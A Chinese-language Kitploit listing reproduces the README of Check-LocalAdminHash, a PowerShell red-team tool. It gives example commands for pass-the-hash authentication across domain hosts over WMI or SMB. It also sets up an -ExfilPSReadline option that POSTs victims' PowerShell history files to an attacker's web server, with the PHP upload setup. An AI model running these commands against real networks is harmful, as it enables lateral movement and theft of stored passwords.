Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Check-LocalAdminHash — Check-LocalAdminHash 是一个 PowerShell 工具,它尝试通过 WMI 或 SMB 使用密码哈希对多个主机进行身份验证,以判断提供的凭据是否为本地管理员。当你获取到某个用户的密码哈希,并想查看他们在网络中的本地管理员位置时,这个工具非常有用。它本质上是我最喜欢的两个工具与我自己的一些代码的混合体。它利用 Kevin Robertson(@kevin_robertson)的 Invoke-TheHash 项目进行凭据检查部分。此外,该脚本还利用 Will Schroeder(@harmj0y)和 Matt Graeber(@mattifestation)的 PowerView 中的模块来枚举域计算机,以寻找测试管理员访问权限的目标。 | Kitploit
工具/GitHubGitHub/dafthack/check-localadminhash
权限提升密码攻击横向移动信息收集渗透测试
GitHubdafthack/check-localadminhash

Check-LocalAdminHash

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

关于

Check-LocalAdminHash 是一个 PowerShell 工具,它尝试通过 WMI 或 SMB 使用密码哈希对多个主机进行身份验证,以判断提供的凭据是否为本地管理员。当你获取到某个用户的密码哈希,并想查看他们在网络中的本地管理员位置时,这个工具非常有用。它本质上是我最喜欢的两个工具与我自己的一些代码的混合体。它利用 Kevin Robertson(@kevin_robertson)的 Invoke-TheHash 项目进行凭据检查部分。此外,该脚本还利用 Will Schroeder(@harmj0y)和 Matt Graeber(@mattifestation)的 PowerView 中的模块来枚举域计算机,以寻找测试管理员访问权限的目标。

分享
178347年前Kitploit 审核通过

Check-LocalAdminHash

Check-LocalAdminHash 是一个 PowerShell 工具,它尝试通过 WMI 或 SMB 使用密码哈希向多个主机进行身份验证,以确定所提供的凭据是否为本地管理员。当你获取到某个用户的密码哈希,并想查看该用户在网络中的哪些主机上是本地管理员时,这个工具非常有用。它本质上是我最喜欢的两款工具与我自身部分代码的“弗兰肯斯坦”式结合。它利用 Kevin Robertson(@kevin_robertson)的 Invoke-TheHash 项目进行凭据检查部分。此外,该脚本还使用了 Will Schroeder(@harmj0y)和 Matt Graeber(@mattifestation)的 PowerView 中的模块来枚举域计算机,以查找用于测试管理员访问权限的目标。

alt text

这个脚本之所以存在,是因为在一次评估中,我想从网络中所有系统收集 PowerShell 控制台历史文件(PSReadline)。PSReadline 控制台历史本质上就是 PowerShell 版的 bash 历史记录。它可以包含用户在终端中输入的许多有趣内容,包括密码。因此,本脚本中还包含一个选项,可以一并导出所有 PSReadline 文件。这需要一些前期配置,请参见自述文件末尾的配置说明。

更多信息请阅读博客:https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/

示例

通过 WMI 向所有主机检查本地管理员哈希

以下命令将使用域 'testdomain.local' 查找所有系统,然后尝试使用用户 'testdomain.local\PossibleAdminUser' 和密码哈希通过 WMI 对每个系统进行身份验证。

root@kitploit:~
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems

导出所有 PSReadline 控制台历史文件

以下命令将使用域 'testdomain.local' 查找所有系统,然后尝试使用用户 'testdomain.local\PossibleAdminUser' 和密码哈希通过 WMI 对每个系统进行身份验证。接着,它会在每个系统上为每个用户配置文件查找 PowerShell 控制台历史文件(PSReadline),并通过 POST 方式发送到 Web 服务器。有关服务器配置,请参见自述文件末尾。

root@kitploit:~
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline

使用 CIDR 范围

以下命令将使用提供的 CIDR 范围生成目标列表,然后尝试使用本地用户 'PossibleAdminUser' 和密码哈希通过 WMI 对每个目标进行身份验证。

root@kitploit:~
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24

使用目标列表和 SMB,并将结果输出到文件

以下命令将使用提供的目标列表,并尝试使用本地用户 'PossibleAdminUser' 和密码哈希通过 SMB 对每个主机进行身份验证。

root@kitploit:~
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt

单一目标

以下命令尝试使用用户 Administrator 对系统 192.168.0.16 通过 SMB 进行本地身份验证。

root@kitploit:~
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB

Check-LocalAdminHash 选项

root@kitploit:~
Username - 用于尝试身份验证的用户名。
PasswordHash - 用户的密码哈希。
TargetSystem - 单个主机名或 IP 用于身份验证尝试。
TargetList - 要扫描的主机列表,每行一个。
AllSystems - 一个开关,启用后利用 PowerView 模块枚举所有域系统。然后使用此列表检查本地管理员访问权限。
Domain - PowerView 用于发现系统的域。
UserDomain - 用于向每个系统进行身份验证的用户域。如果使用本地凭据而非域凭据,请勿使用此标志。
Protocol - 此设置用于决定是使用 WMI 还是 SMB 检查哈希。默认为 'WMI',可设置为 'SMB' 以改用 SMB。
CIDR - 指定一个 CIDR 格式的网络范围,例如 192.168.0.0/24
Threads - 默认为 5 个线程。(将线程数设置为超过 15 时,我遇到了一些奇怪的问题,部分结果无法返回。)
ExfilPSReadline - 对于每个身份验证成功的系统,运行一条 PowerShell 命令来定位 PSReadLine 控制台历史文件(PowerShell 命令历史),然后通过 POST 发送到 Web 服务器。有关服务器配置,请参见自述文件。

PSReadline 导出配置

这是给你的警告:你将设置一个面向互联网的服务器,用于接收文件上传。通常,这是一件非常危险的事情。因此,一定要采取预防措施。我建议锁定防火墙规则,只允许将要上传 PSReadline 文件的 IP 访问 Web 服务器。另外,既然谈到安全问题,使用 HTTPS 连接同样可行,因此请设置好你的域名和证书,以便 PSReadline 文件通过加密方式在网络中传输。你已经得到警告了...

  • 在你想接收文件的位置设置一台服务器。该服务器必须能够通过 HTTP/HTTPS 从每个系统访问。

  • 从本仓库复制 index.php 脚本,并将其放置在 Web 服务器的根目录下的 index.php 中(/var/www/html)。

  • 创建一个 uploads 目录

mkdir /var/www/html/uploads

  • 修改该目录的权限

chmod 0777 /var/www/html/uploads

  • 确保已安装 PHP

apt-get install php

  • 重启 Apache

service apache2 restart

  • 在 Check-LocalAdminHash.ps1 脚本中,滚动到 "Gen-EncodedUploadScript" 函数,修改 "$UnencodedCommand" 下方的 "$Url" 变量。将其指向你的 Web 服务器上的 index.php 页面。我还没有弄清楚如何将 UploadUrl 变量传递到那段代码中(该代码最终会被编码并在目标系统上运行),因此目前先硬编码。

现在,当你使用 -ExfilPSReadline 标志运行 Check-LocalAdminHash 时,它应该会尝试将每个 PSReadline 文件(如果有的话)POST 到你的 Web 服务器。

alt text

致谢

Check-LocalAdminHash 基本上是我最喜欢的两款工具 PowerView 和 Invoke-TheHash 的“弗兰肯斯坦”式结合。其中 95% 的代码来自这两款工具。因此,功劳归于 Kevin Robertson(@kevin_robertson)的 Invoke-TheHash,以及 Will Schroeder(@harmj0y)、Matt Graeber(@mattifestation)(以及所有参与 PowerView 开发的人)。没有这两款工具,这个脚本就不会存在。同时还要感谢 Steve Borosh(@424f424f)在线程方面的帮助,以及他作为一个全面优秀的人。

Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash

PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1

下载工具